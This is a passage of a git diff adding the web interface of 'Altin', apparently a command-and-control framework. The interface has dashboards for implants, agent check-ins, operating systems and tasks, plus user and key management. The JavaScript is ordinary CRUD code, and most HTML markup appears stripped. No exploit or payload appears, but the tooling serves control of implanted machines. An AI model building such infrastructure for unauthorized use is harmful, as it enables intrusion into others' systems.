+ + + `).join(''); + }; + + const loadUsers = async () => { + const payload = await loadJSON('/api/users'); + state.users = payload.users || []; + state.users.sort((a, b) => (a.username || '').localeCompare(b.username || '', undefined, { sensitivity: 'base' })); + renderTable(); + }; + + const openModal = (user = null) => { + state.editingUser = user; + els.userModal.classList.add('is-open'); + els.userModal.classList.remove('hidden'); + els.userModal.setAttribute('aria-hidden', 'false'); + els.userModalTitle.textContent = user ? 'Edit user' : 'Create user'; + els.saveUserButton.textContent = user ? 'Update user' : 'Save user'; + els.userName.value = user?.username || ''; + els.userPassword.value = ''; + els.userAdmin.checked = Boolean(user?.admin); + setMessage(''); + els.userName.focus(); + }; + + const closeModal = () => { + els.userModal.classList.remove('is-open'); + els.userModal.classList.add('hidden'); + els.userModal.setAttribute('aria-hidden', 'true'); + state.editingUser = null; + setMessage(''); + }; + + const saveUser = async () => { + const username = els.userName.value.trim(); + const password = els.userPassword.value; + const admin = els.userAdmin.checked; + + if (!username) { + setMessage('Username is required.', 'error'); + return; + } + + setMessage(state.editingUser ? 'Updating user…' : 'Creating user…'); + + try { + if (state.editingUser) { + if (username !== state.editingUser.username) { + const response = await apiFetch('/api/users', { + method: 'PATCH', + body: JSON.stringify({ id: state.editingUser.id, username }), + }); + if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.'); + } + if (password) { + const response = await apiFetch('/api/users', { + method: 'PATCH', + body: JSON.stringify({ id: state.editingUser.id, password }), + }); + if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.'); + } + if (admin !== Boolean(state.editingUser.admin)) { + const response = await apiFetch('/api/users', { + method: 'PATCH', + body: JSON.stringify({ id: state.editingUser.id, admin }), + }); + if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.'); + } + } else { + if (!password) { + setMessage('Password is required.', 'error'); + return; + } + const response = await apiFetch('/api/users', { + method: 'POST', + body: JSON.stringify({ username, password, admin }), + }); + if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to create user.'); + } + + await loadUsers(); + closeModal(); + } catch (error) { + setMessage(error.message || 'Unable to save user.', 'error'); + } + }; + + const deleteUser = async (id) => { + if (!confirm('Delete this user?')) return; + try { + const response = await apiFetch('/api/users', { + method: 'DELETE', + body: JSON.stringify({ id }), + }); + if (!response.ok && response.status !== 204) { + const payload = await response.json().catch(() => ({})); + throw new Error(payload.message || 'Unable to delete user.'); + } + await loadUsers(); + } catch (error) { + setMessage(error.message || 'Unable to delete user.', 'error'); + } + }; + + const initializeTheme = () => { + setTheme(getTheme()); + els.themeToggle.addEventListener('click', () => { + setTheme(getTheme() === 'dark' ? 'light' : 'dark'); + }); + }; + + const initializeLogout = () => { + els.logoutButton.addEventListener('click', () => { + localStorage.removeItem(STORAGE_KEYS.token); + redirectToLogin(); + }); + }; + + const initializeHandlers = () => { + els.userSearch.addEventListener('input', (event) => { + state.search = event.target.value; + renderTable(); + }); + + els.refreshUsersButton.addEventListener('click', loadUsers); + els.createUserButton.addEventListener('click', () => openModal()); + els.closeUserModalButton.addEventListener('click', closeModal); + els.cancelUserModalButton.addEventListener('click', closeModal); + els.userModal.addEventListener('click', (event) => { + if (event.target === els.userModal) closeModal(); + }); + els.saveUserButton.addEventListener('click', saveUser); + + els.usersTableBody.addEventListener('click', (event) => { + const button = event.target.closest('[data-user-action]'); + if (!button) return; + const id = button.dataset.userId; + const user = state.users.find((entry) => entry.id === id); + if (!user) return; + + switch (button.dataset.userAction) { + case 'edit': + openModal(user); + break; + case 'delete': + deleteUser(id); + break; + } + }); + }; + + const cacheElements = () => { + els.themeToggle = document.getElementById('themeToggle'); + els.logoutButton = document.getElementById('logoutButton'); + els.serverChip = document.getElementById('serverChip'); + els.refreshUsersButton = document.getElementById('refreshUsersButton'); + els.createUserButton = document.getElementById('createUserButton'); + els.userSearch = document.getElementById('userSearch'); + els.usersCount = document.getElementById('usersCount'); + els.usersTableBody = document.getElementById('usersTableBody'); + els.userModal = document.getElementById('userModal'); + els.closeUserModalButton = document.getElementById('closeUserModalButton'); + els.cancelUserModalButton = document.getElementById('cancelUserModalButton'); + els.userModalTitle = document.getElementById('userModalTitle'); + els.userModalMessage = document.getElementById('userModalMessage'); + els.userName = document.getElementById('userName'); + els.userPassword = document.getElementById('userPassword'); + els.userAdmin = document.getElementById('userAdmin'); + els.saveUserButton = document.getElementById('saveUserButton'); + }; + + const main = async () => { + if (!requireAuth()) return; + cacheElements(); + initializeTheme(); + initializeLogout(); + initializeHandlers(); + renderServer(); + try { + await loadUsers(); + } catch (error) { + setMessage(error.message || 'Unable to load users.', 'error'); + els.usersTableBody.innerHTML = '
Unable to load users.
'; + } + }; + + document.addEventListener('DOMContentLoaded', main); +})(); diff --git a/webui/index.html b/webui/index.html new file mode 100644 index 0000000..6727b9c --- /dev/null +++ b/webui/index.html @@ -0,0 +1,142 @@ + + + + + + Altin | Overview + + + + + + +
+ + +
+ + +
+
+
Agents
+
0
+ +
+
+
Active
+
0
+ +
+
+
Inactive
+
0
+ +
+
+
Total tasks
+
0
+ +
+
+
Sent tasks
+
0
+ +
+
+
Completed tasks
+
0
+ +
+
+ +
+
+
+
+
Implant types
+
agents by implant type
+
+ 0 agents +
+
+
+ +
+ 0 + Total +
+
+
+
+
+ +
+
+
+
Operating systems
+
agents by operating system
+
+ 0 agents +
+
+
+ +
+ 0 + Total +
+
+
+
+
+ +
+
+
+
Recent agents
+
Most recent check-ins
+
+
+
+
+
+
+
+ + diff --git a/webui/keys.html b/webui/keys.html new file mode 100644 index 0000000..aac66d8 --- /dev/null +++ b/webui/keys.html @@ -0,0 +1,116 @@ + + + + + + Altin | Keys + + + + + + +
+ + +
+ + +
+
+
+
+ + +
+
+
+ Keys +
0 total
+
+
+
+
+ +
+
+ + + + + + + + + + +
IDNameKeyActions
+
+
+
+
+
+ + + + diff --git a/webui/login.html b/webui/login.html new file mode 100644 index 0000000..94d43a0 --- /dev/null +++ b/webui/login.html @@ -0,0 +1,59 @@ + + + + + + Altin | Login + + + + + + +
+ +
+ + diff --git a/webui/users.html b/webui/users.html new file mode 100644 index 0000000..7a410da --- /dev/null +++ b/webui/users.html @@ -0,0 +1,120 @@ + + + + + + Altin | Users + + + + + + +
+ + +
+ + +
+
+
+
+ + +
+
+
+ Users +
0 total
+
+
+
+
+ +
+
+ + + + + + + + + + +
IDUsernameAdminActions
+
+
+
+
+
+ + + +